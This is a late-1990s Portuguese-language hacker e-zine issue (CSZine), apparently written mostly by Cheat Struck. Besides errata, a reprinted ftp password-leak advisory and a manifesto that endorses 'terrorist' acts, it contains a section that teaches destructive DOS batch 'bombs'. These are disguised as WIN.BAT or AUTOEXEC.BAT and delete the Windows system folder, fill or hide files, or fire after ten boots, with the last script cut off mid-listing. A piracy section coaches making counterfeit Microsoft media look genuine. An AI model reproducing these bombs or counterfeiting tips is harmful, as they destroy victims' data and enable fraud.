
                    zZZZZZZZZZZZZZZZZZZZZZZZZ
                                          zZ
                                         zZ
                                        zZ
                                       zZ
                                      zZ
                 CCCCCCCCCCCCCCCC    zZ SSSSSSSSSSSSSSSS
                CCCCCCCCCCCCCCCCC   zZ SSSSSSSSSSSSSSSSS
               CCCCCCCCCCCCCCCCCC  zZ SSSSSSSSSSSSSSSSSS
              CCCCCC        CCCCC zZ SSSSSS        SSSSS
             CCCCCCC             zZ SSSSSSS             
            CCCCCCCC            zZ SSSSSSSSSSSSSSSSSSSSS
            CCCCCCCC           zZ  SSSSSSSSSSSSSSSSSSSSS
             CCCCCCC          zZ                SSSSSSS
              CCCCCC        CCCCC  SSSSS        SSSSSS
               CCCCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSSSS
                CCCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSSS
                 CCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSS
                         zZ
                        zZ
                       zZ
                      zZ
                     zZ
                    zZZZZZZZZZZZZZZZZZZZZZZZZine

                        by Cheat Struck





	Belo visual naum?





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


		UIN   da   revista : 16623675
		Canal  da  revista : #CSCHANNEL no irc.via-rs.com.br
		E-Mail  da revista : cszine@hotmail.com
                Memoserv da revista: /msg memoserv send Struck <msg>
                                      (Soh no via-rs)
	        Page  da   revista : http://members.xoom.com/cszine


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=


	Introduo:

	Estamos quase completando a segunda dezena da zine. Vamos ver... 
pelos meus calculos eu comeei com a zine em julho, ento logo vamos comple-
tar 20 edies em 4 meses. Isso quer dizer que a zine ehhh.. semanal?? naum,
mais do que isso. Acho que sai de 5 por mes. 
	Bacana neh. Tem vezes que eu me descuido e coloco as 2 ultimas edi-
es num soh dia. hmmm.. o index.htm da page no estah sendo atualizado pq eu
sei que quem entra no tah nem ai para o pensamento do dia. As unicas paginas
que sero atualizadas so links.htm, cszine.htm(2x por semana), others.htm e
progs.htm o resto e' pouco provavel.
	Gostaria de me desculpar com o VooDoo(nukei ele sem saber quem era).
Vou explicar pra vcs oque aconteceu.. O voodoo entrou com outro nick na viars
e me deu um version. Pra mim quando chega um kra q eu naum conheo, dando 
version ou quer chamar os outros de lamah por tarem usando Win95 ou quer dar
flood. Ae eu me equivoquei e nukei ele. Mas jah fiz as pazes com ele.
	VERSION no eh proibido. Mas no faa isso com todo mundo ou isso 
pode acontecer com vc tb.
	Foi mal VooDoo.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=--=-=-=-=-=-=-=-=-

	Indice :

Seo:	Materia:		Assunto:		Autor:		Nota:
1.	Erratas			Erros jah cometidos	Cheat Struck	10,0
2.	Manifesto		Count Down Manifesto	PEST		9,5
3.	Programao		Fuck Protetion		Cheat Struck	9,0
4.	Pirataria		Microsoft Suckz		Cheat Struck	10,0
5.	VIRII			BAD COM's e Bombas	Cheat Struck	9,5
6.      Phreaking               Boxes em fase de testes Cheat Struck    10,0
7.	Redes			FireWalls		Anonymous	8,5
8.	Invaso de privacidade	Lista de segurana	Pangia LTDA.	10,0
9.      Hack, the Art           Hack Tinks              Cheat Struck    9,5
10.     BoNuS!!!		Lista de provedores	Cheat Struck	10,0




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$            $$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  1. Erratas  $$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$            $$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Erros em edies passadas

***Edio numero 01***
	O provedor ginet mostrado nessa edio, adquiriu um sistema de prote-
o mais phoda de se hackear.



***Edio numero 04***
	A lista de pesquisa hacking mostrada nessa edio e' a verso 1.1 e
no 1.0.



***Edio numero 05***
	A materia publicada na seo invaso de privacidade contm alguns 
dados incorretos, jah corrigidas na edio passada. Nesta mesma seo apare-
cem 2 servidores WIN que jah no existem mais.

	Na seo preview esta' previsto uma "Lista de provedores e endereos 
ftp do BRASIL" coisa que eu pensei em fazer mas nunca saiu.



***Edio numero 08***
	Na seo "Hack, the Art" repetiu a materia publicada na edio 06.



***Edio numero 09***
	Erro pequeno: No indice no foi publicado o assunto, autor e nota da
seo "Preview".



***Edio numero 10***
	Na seo "IRC TIPS", o meio de dar telnet por uma porta qquer no e':
telnet {url/ip}:{porta} {terminal}
	e sim:
telnet {url/ip} {porta} {terminal}

	Na seo "Programao" ficou faltando algumas coisinhas:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

##### if #####
	Voc sabe pra que que serve naum eh??
	Ex1:

if [ $1x = x ]; then
	#conteudo caso no exista a variavel 1(primeiro sub comando)
fi


	Ex2:

if [ "$1" = '-?' ]; then
	#conteudo se o subcomando for -?
fi


	Tipo..No exemplo2 se o cara digitar "./look -?" aparecer o conteu-
do entre o if e fi. Sendo que "look"  o nome do script.




##### function #####
	Estabelece uma funo para ser usada no script.
	Ex:

function inicio{
	#conteudo
}
inicio



##### Usando variaveis #####
	Facil, facil..
	Ex1:

nome = "Julio"
echo "Seu nome  : $nome



=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--=-==-



***Edio Numero 14***
	Na seo "Hack, the Art" existe uma materia(Bloqueando um servidor de
IRC) que est incorreta. Essa materia foi corrigida na edio 15.




***Edio Numero 15***
	Al no guia de edies da CSZine, na edio numero 02, seo 6 ("FAQ
sobre sniffer") naum foi escrito por mim e sim por Christopher William Klaus 
da Internet Security Systems, Inc. 




***Edio Numero 16***
	Ficou faltando a pagina 008 do boletim de segurana da Pangia.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=
 

        Boletim 008/97 da Lista de Segurana da Pangia Informtica 


30 de Maro de 1997 

Tpico: Vulnerabilidade em clientes ftp antigos 

Foi verificada uma vulnerabilidade na seguinte verso do cliente ftp, 
que acompanha vrias distribuies Linux: 
/bin/ftp: 
$Id: ftp.c,v 1.1 1994/05/23 09:03:41 rzsfl Exp rzsfl $ 
$Id: cmds.c,v 1.1 1994/05/23 09:03:41 rzsfl Exp rzsfl $ 
$Id: cmdtab.c,v 1.1 1994/05/23 09:03:41 rzsfl Exp rzsfl $ 
$Id: domacro.c,v 1.2 1993/08/01 18:15:29 mycroft Exp $ 
$Id: glob.c,v 1.1 1994/05/23 09:03:42 rzsfl Exp rzsfl $ 
$Id: main.c,v 1.1 1994/05/23 09:03:42 rzsfl Exp rzsfl $ 
$Id: ruserpass.c,v 1.1 1994/08/17 13:52:59 florian Exp florian $ 

Esta vulnerabilidade permite a um usurio local ter acesso senhas de 
outros usurios usadas em sistemas locais e remotos. 



1. Descrio 

Foi verificado que a verso do ftp acima, em determinadas 
circunstancias gera um arquivo 'core' contendo a senha (em claro, 
no criptografada) que o usrio usou para conectar-se a um ftp 
servidor qualquer. 



2. Impacto: 


Esta caracterstica pode permitir a um usurio comum ter acesso a 
senhas de outros usurios, por exemplo se o arquivo "core" for gerado 
em um diretrio pblico. 

3. Soluo: 

Instalar o ftp cliente que acompanha o pacote NetKit-0.09, 
ou equivalente, contendo a seguinte identificao ou mais 
recente. 
/bin/ftp: 
$Id: cmds.c,v 1.15 1996/12/31 19:15:36 dholland Exp $ 
$Id: cmdtab.c,v 1.5 1996/08/19 20:24:44 dholland Exp $ 
$Id: domacro.c,v 1.4 1996/08/14 23:27:28 dholland Exp $ 
$Id: ftp.c,v 1.13 1996/11/25 18:42:46 dholland Exp $ 
$Id: glob.c,v 1.5 1996/08/14 23:27:28 dholland Exp $ 
$Id: main.c,v 1.11 1996/08/30 21:05:57 dholland Exp $ 
$Id: ruserpass.c,v 1.3 1996/08/14 23:27:28 dholland Exp $ 


O pacote NetKit-0.09 est disponvel tambm em: 
ftp://ftp.pangeia.com.br/pub/seg/NetKit-0.09.tar.gz 


4. Informaes adicionais: 
http://www.pangeia.com.br/faq.html 

nelson@pangeia.com.br 



5. Agradecimentos: 

Klaus Steding-Jessen (jessen@ahand.unicamp.br) 
Pedro Vazquez (vazquez@iqm.unicamp.br) 




     

1995-98  Pangia Informtica LTDA. 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


	Soh isso galera




$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$              $$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  2. Manifesto  $$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$              $$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Count Down Manifesto


                               MANIFESTO

	Irei comecar dizendo o nosso proposito, mostrando a voces as nossas
ideias e razoes. Hoje eu designado como a PEST estou aqui para lhes dizer que
a uniao traz o PODER e que com o poder poderemos melhorar este mundo.

	Nao com a forca, mas com a organizacao do sistema. Quero lhes dizer
que voces que se consideram um verdadeiro Hacker nao sao NADA. Nao passam de
pessoas que por terem um determinado conhecimento sao nomeados de ladroes,
que alegram-se em obter alguns senhas e sao esquecidos como uma gripe que 
veio e se foi. Algo pequeno que nao deve nem ser conciderado grandioso, mas
sim criminoso. Quem sao os hackers, o que eh ser hacker?

	LADROES? Entao devem ser presos e encarcerados, sao marginais. Eh
assim que penssam as pessoas lah fora. E voce tem orgulho de ser ladrao? Tem
orgulho de ser apenas um marginal que deve ser tratado como os que vendem 
drogas e matam? Hackers ou sao ladroes geralmente de 15 ah 1... anos ou sao
mera FICCAO. Eh assim que penssam a maioria dos ignorantes deste mundo de
lamentacoes e rangeres de dentes. Precisamos mudar isso! Como faremos? Nos 
unindo e fazendo o que fazemos melhor. Fucar! Nao estou pedindo que facam
clubinhos, isso eh coisa de SPRITDOWNS que se divertem jogando virus nos 
computadores dos colegas. Estou pedindo que deixem de ser meros hackers para
serem os comvocados pela VOZ do TROVAO, para serem OS ARCANJOS. Sim, pessoas
que trabalharao como uma corrente, trocando conhecimentos e ideias. Para o 
bem comum. Estou pedindo que facam parte de uma IRMANDADE, cujo objetivo eh
"aparecer" defendendo causas verdadeiras e de ser reconhecida nao como 
ladroes ou mera ficcao, mas como as lagrimas de DEUS, COMO o suspiro da 
NATUREZA e o grito dos JUSTOS. Voce pode esta rindo deste texto, achando um
exagero ou uma alucinacao. Entao, meu caro irmao, saia da frente de seu 
monitor SVGA de 16000000de cores e veja o mundo em que voce coexiste com a 
sua carcassa. Olhe para os olhos daquelas criancas que pedem PELO AMOR DE 
DEUS NAO DEIXEM EU MORRER DE FOME. E o que eles ganham eh um NAO seguido de
um olhar de desprezo e fechar de janela. Entao este ser "insignificante"
segue o seu percursso em direcao a MORTE. A pest CHORA! O mundo do futuro eh
um mundo controlado pelas maquinas, e quem controla as maquinas controlara o
mundo. Este eh o nosso objetivo? Nao! O nosso objetivo eh justica, justica 
por aqueles que perecem na miseria e na escuridao. Eles lutam lah fora pela 
LIBERDADE e o direito de VIVER. E nos os 4 cavaleiros do apocalipse com os 
seus seguidores, os ARCANJOS, mostrarao os seus manifestos aqui na REDE.

	Juntando os seus conhecimentos e alma em um movimento solido. Estamos
em um mundo onde quem consome VALE +. E quem nao vale, deve ser conssumado.
Precisamos mudar isso nem que tenhamos de realizar atos talvez considerados
"terroristas". Voces nao devem ter percebido mas o CAOS chegou, a nova ERA eh
agora. Os 4 cavaleiros com seus cavalos e espadas pairam sobre as nossas 
cabecas. Facamos unidos os nossos conhecimentos, a LEI; os teclados as nossas
ESPADAS. Mostrando a todos os nossos pensamento. Pois a VOZ do TROVAO disse
"Eu virei como ladrao na noite". Temos o nosso campo de batalha, A REDE. 
Temos as nossas armas, O MODEM, TECLADO... Temos as nossas bocas, IRC, 
HOMEPAGES, ZINES... E temos as nossas rasoes, O CAOS ou a ORDEM. E os 4 cava-
leiros com seus cavalos empunhando suas espadas e seguidos pelo seu exercito,
OS ARCANJOS, estao no CYBERWORLD para ajudar a JUSTICA e a RASAO.

	Manifesto de Eethernal-Pest contra o preconceito a nos e os pobres de
capital. 

                           Siga seu caminho


-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$                $$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  3. Programao  $$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$                $$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=--==-=-=-=-=--=-==-=--=-==--=-=-=-==-=-=-=--=-

	Sistemas de protees


	Tipo o publicado semana passada.
	Porm aki vc no precisar adicionar uma conta nova. Apenas adicione
esta linha no /etc/hosts.denny.

in.telnetd: ALL: twist /bin/fuck

	Agora coloque este arquivo no diretrio /bin e prounto! 
	Deixa eu explica como funciona. Quando um usuario desconhecido se 
logar ao seu sistema, ele abrira' esse programa e ficara' se achando o hacker
pois acessou um login de destruio do sistema(hehehe, foda neh). Usuario
desconhecido eu me refiro a akeles que no tem permio de usar o telnet do
seu sistema(os que no esto no hosts.allow).
	E' hilario v a cara do palhao que fica achando que tah destruindo o
seu sistema. Pena que no tem como tu ver o babaca.


----------------------------Corte Aki---(fuck)-------------------------------
#
#   Fuck Protetion by Cheat Struck / CopyRight  CSS 1997 - 98
#
#  Se tiver afim de poupar uns miseros bytes, pode retirar estes comentarios.
#  Se quizer quebrar o CopyRight, faa-o e me diga como colocou este programa
# nos sistemas do Pentagono.
#  Se voc e' muito Lamer, nao aconselho o uso deste programa a menos que vc
# tenha consiencia do que esta' fazendo.
#
function inicio {  
echo " "
echo "RedHat Linux 4.1 (Cheat Struck)"
echo "Kernel 2.0.24"
echo " "
echo -e "Login:"'\c'
read login
sleep 1
echo -e $login " Passwd:"'\c'
read pass
sleep 1
echo " "
echo "Login Incorrect"
echo " "
echo -e "Login:"'\c'
read login
sleep 1
echo -e $login " Passwd:"'\c'
read pass
sleep 1
destruir
}
function destruir {
echo " "
echo " Special Function Login Activated"
echo -e "Re-enter Passwd:"'\c'
read pass1
sleep 1
if [ $pass = $pass1 ]; then
echo " "
echo "Destruction System Function Activated"
echo "Login = " $login " - OK"
echo "Passwd = " $pass " - OK"
echo "Repasswd = " $pass1 " - OK"
sleep 1
echo -e "System Crush."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 1
echo -e "."'\c'
sleep 5
clear
exit
fi
clear
inicio
}
inicio
-----------------------------------------------------------------------------


	Depois disso, se vc pudesse ouvir uma unica palavra do kra que tentou
entrar, seria "UAU!".
	Nas prximas edies publicarei mais scripts shells em quanto no 
chega mais gente pra escrever tutoriais ou programas.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$              $$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  4. Pirataria  $$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$              $$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Microsoft Suckz

-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Alguns contratos assinados por Bill Gates:


* EULA: O EULA  o contrato relativo ao uso que voc faz do produto licencia-
        do e lhe concede um direito especfico de uso do software Microsoft
        em seu computador. Qualquer cpia no licenciada pelo EULA(Contrato 
        de Licena de Usurio Final)  considerada uma violao nos direitos
        autorais, a no ser no caso desta ser liberada pelo proprietrio ou
        pelo MLP.

* MLP: O MLP(Microsoft License Pack)  um contrato que autoriza a realizao
       de uma ou mais cpias de determinado produto Microsoft. Por exemplo,
       se voc trabalha em uma pequena empresa com dois computadores e preci-
       sa usar o Microsoft Word nos dois computadores, pode comprar uma nica
       cpia do Microsoft Word e um MLP de uma nica cpia para o Word.

	
	Da pra acreditar no que diz esses contratos??
	Se voc no entendeu bem as besteiras que eles estabelecem, Aqui vai
um exemplo:
	Se voc comprou um Windows 3.1 e depois de 2 anos decidiu atualiza-lo
para o Windows95, voc ainda deve conservar o antigo produto como parte dessa
unidade de software. Ou seja: voc deve guardar a cpia do Windows 3.1 como 
parte do seu produto adquirido legalmente.
	Putz! Soh pq vc tinha o Windows 3.1 no poder revende-lo ou apenas
jogar no lixo. Voc tem que ficar com ele para no estar violando a lei. Que
baita merda heim?




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	O que  pirataria de software?


	A pirataria de software consiste na cpia no autorizada de softwares
protegidos por leis de direitos autorais. Em mdia, para cada cpia autoriza-
da de software,  feita pelo menos uma cpia pirata.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=

	Pirateando...


	H cinco formas bsicas de pirataria de software:
* Cpia pirata:  Ocorre quando so feitas cpias extras de um programa dentro
                 de uma organizao, para uso dos funcionrios. A "troca de 
                 discos" entre amigos e colegas fora de um ambiente de traba-
                 lho est tambm includa nesta categoria.

* Cpia pirata pr-instalada:  Alguns revendedores de computador carregam 
                               cpias piratas nos discos rgidos dos computa-
                               dores que colocam  venda, como incentivo para
                               o usurio final na compra de um computador 
                               desse determinado revendedor.

* Falsificao:   a duplicao e venda ilegal de software protegido por di-
                reitos autorais, geralmente em uma forma destinada a fazer 
                com que o produto parea legtimo. A falsificao de software
                pode ser muito sofisticada, incluindo esforos considerveis 
                para imitar embalagem,logomarcas e tcnicas anti-falsificao
                ,como hologramas. Pode tambm ser mais rudimentar,consistindo
                em rtulos de qualidade inferior ou escritos  mo, com os 
                discos embrulhados num saco plstico e vendidos nas esquinas.

* Pirataria em BBSs:  Esta forma de pirataria ocorre quando um software pro-
                     tegido por direitos autorais  carregado remotamente por
                     usurios conectados via modem a uma BBS pblica ou semi-
                     privada. Isto no deve ser confundido com o fornecimento
                     de Sharewares. Qualquer software Microsoft no autoriza-
                     do, disponvel atravs de uma BBS, deve ser considerado 
                     ilegal.

* Aluguel de Software:   onde o software  "alugado" ilegalmente a usurios 
                       que o copiam no disco rgido de seus computadores e, 
                       em seguida, devolvem a cpia a quem a alugou.






-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Cuidados a tomar quando se pirateia um produto Microsoft..


-Tomar o cuidado de no deixar marcas comerciais de outras impresas a no ser
 a Microsoft.
-Cuidar ao imprimir a frente do CD pirata de um sistema operacional. Sempre
 deve ter a mensagem  "Distribuido somente com um  computador novo" ou algo
 do gnero.
-Colocar o contrato de licena de usurio final (EULA). 
-Colocar o carto de registro do produto.
-Colocar o Certificado de Autenticidade.
-Colocar um mecanismo de requisio (como um carto-resposta).
-Colocar discos de backup, manuais, carto de registro, EULA e/ou Certificado
 de Autenticidade contendo  um holograma contra pirataria e rtulo de confir-
 mao para o software de sistema pr-instalado, que inclui  um pacote do 
 produto dentro da caixa do computador. Os pacotes de produtos devem conter 
 todos esses  elementos.
-Os discos de backup nunca devem contr rtulos escritos  mo, no embalados
 adequadamente e/ou   parecerem ser de qualidade inferior.
-O(s) manual(ais) no devem ser fotocopiados, no embalados adequadamente 
 e/ou ter impresso de m   qualidade.





-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Pirateando Discos DMF(Dos Model Format)


	A Microsoft, quando lanou o Windows 95, deve ter achado que o forma-
to DMF(Dos Model Format) ia ser um grande problema para ns, mas como sempre
estavam errados.
	Para piratiar discos com formato DMF cluster 2048 (1.716.224 mb), vc
deve adquirir programas ilegais. Porm existem tambm muitos outros legais,
podemos citar por exemplo o VGAcopy, Win Image 95, e 2mGUI verso1.9, entre
muitos outros ai no mercado.
	O melhor segundo meu respeito  o 2mGUI v1.9 que tem a incrvel 
capacidade de formatar um disco de (1.457.664 mb) em (2.221.858 mb), este 
programa  simplesmente longe dos limites, quanto aos outros, eles fazem o 
necessrio para uma boa pirataria.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  5. VIRII  $$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-==--==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	BAD COM


	Vou explicar claramente o que so BAD COMs..
	Crie o diretorio \TESTE e copie os arquivo \WINDOWS\COMMAND\edit.com
e debug.exe. Agora crie o arquivo test.bat com o seguinte conteudo:

-----------------------------Corte Aki--(test.bat)---------------------------
@echo off
echo test.bat
-----------------------------------------------------------------------------

	Note que os 3 tipos de arquivos executados em DOS foram incluidos 
nesse diretrio(.EXE, .COM e .BAT). Ento vamos dar o mesmo nome a eles.
Digite "ren *.* test.*".
	De um DIR para ver como esto os arquivos. Aparecer +/- assim:

C:\TESTE> dir
 O nmero de srie do volume  XXXX-XXXX
 Diretrio de C:\TESTE

.              <DIR>        25/06/98   3:57 .
..             <DIR>        25/06/98   3:57 ..
TEST     COM        21.002  24/08/95   9:50 test.com
TEST     EXE        70.830  24/08/95   9:50 test.exe
TEST     BAT            16  02/01/00  10:34 test.bat
         3 arquivo(s)             91.838  bytes
         2 diretrio(s)      564.609.024  bytes livres


	Agora execute o programa TEST. Qual?? Apenas digite TEST e veja qual
ser executado. No vou fazer misterio. O edit.com sera' executado. Delete-o
desse diretrio e digite TEST novamente e o debug.exe sera' executado.
	Notou a sequencia???
	Os primeiros arquivos a serem executados so os .COM .
	Os segundos so os .EXEs .
	E por fim os .BATs .

	Ento os BAD-COMs consistem em enganar a shell, fazendo-a executar o
programa .COM antes do .EXE . Tipo.. Existe um arquivo no seu disquete chama-
do install.exe mas existe tb um bad-com num path(exemplo: \WINDOWS) chamado
install.com . Ento quando vc digitar install, ao invs de ser executado o
programa de instalao do disquete, ser executado o bad-com.





-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Bombas .BAT


	A outras maneiras de se enganar a shell,sem precisar colocar arquivos
.COM (Isso e' bem requerido para lamers).
	E' bem moleza.
	Voc sabe alguns comandos malignos de DOS naum sabe??? Tipo..deltree,
format, .. Se nem isso vc sabe, de uma lida na seo de programao lah da
edio 00.
	Ento faa um arquivo .bat tipo bomba. Se no tem capacidade nem pra
fazer isso pegue este exemplo os exemplos a seguir.
	Depois de ter feito a bomba nomeie-as como:



	WIN.BAT
	E coloque no diretrio raiz. Ae quando o cara quizer voltar para o 
windows e estiver na raiz. Ele digitar "win". Ento sera' executado esta 
bomba.
	Aki vai um exemplo de bomba a ser colocada no Win.bat.
-----------------------------Corte Aki--(WIN.BAT)----------------------------
@echo off
deltree /y c:/windows/system
del c:/windows/win.ini
del c:/windows/system.ini
c:\windows\win.com
-----------------------------------------------------------------------------


	AUTOEXEC.BAT
	E coloque-o na raiz. Ae sempre que iniciar o sistema, a bomba sera'
executada. Essa bomba exemplo enchera' o HD do babaca de porcaria sempre que
ele iniciar o computador.
---------------------------Corte Aki--(AUTOEXEC.BAT)-------------------------
@echo off
dir /s C:\ >> C:\Windows\System\VBRUN101.DLL
-----------------------------------------------------------------------------



	Quer Arquivo
	Essa e' legal. Vou colocar exemplos apenas aki tah bem. Se no enten-
der eu no vou ficar explicando.
	Esta bomba deixara' todos os arquivos do diretrio WINDOWS invisiveis
e o dono pensara que foram deletados mesmo o windows executando normalmente.
Coloque esta' bomba na raiz.
----------------------------Corte Aki--(HIDE.BAT)----------------------------
@echo off
attrib +H C:\Windows\* /S
-----------------------------------------------------------------------------
	Agora faremos que quando o usuario digitar o comando cls, a bomba se-
ja executada. Para isso precisaremos adicionar essas linhas no autoexec.bat.
---------------------------Corte Aki--(AUTOEXEC.BAT)-------------------------
@echo off
doskey cls c:\hide.bat
-----------------------------------------------------------------------------





-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Outras Bombas:



	Bomba relgio. E' bem simples de se entender se tiver um pouquinho de
conhecimento sobre .BATs. Deve ser colocado no lugar do AUTOEXEC.BAT .
	Essa bomba conta 10 inicializaes do computador, ento acaba com o
HD do palhao.
------------------------------Corte Aki--(AUTOEXEC.BAT)----------------------
@echo off
cls
:1
if exist c:\windows\system\a1.dll goto 2
echo 1111 > c:\windows\system\a1.dll
goto fim
:2
if exist c:\windows\system\a2.dll goto 3
echo 1111 > c:\windows\system\a2.dll
goto fim
:3
if exist c:\windows\system\a3.dll goto 4
echo 1111 > c:\windows\system\a3.dll
goto fim
:4
if exist c:\windows\system\a4.dll goto 5
echo 1111 > c:\windows\system\a4.dll
goto fim
:5
if exist c:\windows\system\a5.dll goto 6
echo 1111 > c:\windows\system\a5.dll
goto fim
:6
if exist c:\windows\system\a6.dll goto 7
echo 1111 > c:\windows\system\a6.dll
goto fim
:7
if exist c:\windows\system\a7.dll goto 8
echo 1111 > c:\windows\system\a7.dll
goto fim
:8
if exist c:\windows\system\a8.dll goto 9
echo 1111 > c:\windows\system\a8.dll
goto fim
:9
if exist c:\windows\system\a9.dll goto 10
echo 1111 > c:\windows\system\a9.dll
goto fim
:10
